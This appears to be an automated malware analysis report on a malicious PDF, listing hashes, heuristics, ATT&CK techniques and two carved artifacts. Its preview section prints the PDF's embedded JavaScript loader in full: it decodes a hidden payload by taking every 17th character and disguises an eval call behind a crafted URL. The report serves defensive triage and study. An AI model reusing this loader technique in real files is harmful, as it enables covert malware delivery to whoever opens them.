Malicious PDF — malware analysis report

Static analysis result for SHA-256 9f75d9689dd60bb6…

MALICIOUS

PDF

4.6 KB First seen: 2026-05-08
MD5: 8c664cc6140debbdee769a4b6cbeb4ea SHA-1: eb5fe52ac1ab4b4c01598c55185e75a3a1455165 SHA-256: 9f75d9689dd60bb6dd6c4719f0cc63cdeae99134a06fe6482212fb36f95f265f
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1553.005 Mark-of-the-Web Bypass

The PDF file contains embedded JavaScript and an embedded binary file. The JavaScript stream is likely responsible for executing or extracting the embedded file, which is a common technique for delivering second-stage malware. The heuristics indicate the presence of JavaScript actions and embedded files, supporting this conclusion.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x482 79849 bytes
SHA-256: 1d0965ec7b550d5992e70021c63c9dc160b22237fb6a7aa0eb88e1ab4ae6d7c7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
260 of 260 identifiers look randomly generated (e.g. 'iMWbgnPcuKBcuIsG1iMWbgnPcuKBcuIsG2iMWbgn') — consistent with name-mangling obfuscation. Carved artifact contains 101 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x224 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);